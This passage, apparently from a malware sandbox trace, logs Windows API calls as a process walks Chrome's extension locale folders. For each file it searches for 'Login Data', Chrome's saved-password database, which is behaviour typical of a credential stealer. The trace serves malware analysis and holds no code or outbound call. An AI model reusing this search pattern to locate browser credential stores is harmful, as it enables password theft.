lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.624] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk" [0056.624] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk" [0056.624] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*.*" [0056.624] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.624] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.624] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.624] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.624] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.624] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.624] lstrlenA (lpString="sl") returned 2 [0056.624] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.624] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.624] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl" [0056.624] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl" [0056.624] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*.*" [0056.624] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.624] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.624] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.624] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.624] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.625] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.625] lstrlenA (lpString="sr") returned 2 [0056.625] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.625] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.625] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr" [0056.625] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr" [0056.625] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*.*" [0056.625] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.625] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.625] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.625] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.625] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.625] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.625] lstrlenA (lpString="sv") returned 2 [0056.625] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.625] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv" [0056.625] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv" [0056.625] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*.*" [0056.625] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.625] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.625] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.625] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.625] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.625] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.625] lstrlenA (lpString="th") returned 2 [0056.625] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.625] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th" [0056.625] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th" [0056.625] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*.*" [0056.625] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.626] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.626] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.626] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.626] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.626] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.626] lstrlenA (lpString="tr") returned 2 [0056.626] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.626] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr" [0056.626] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr" [0056.626] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*.*" [0056.626] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.626] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.626] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.626] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.626] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.626] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.626] lstrlenA (lpString="uk") returned 2 [0056.626] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.626] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk" [0056.626] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk" [0056.626] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 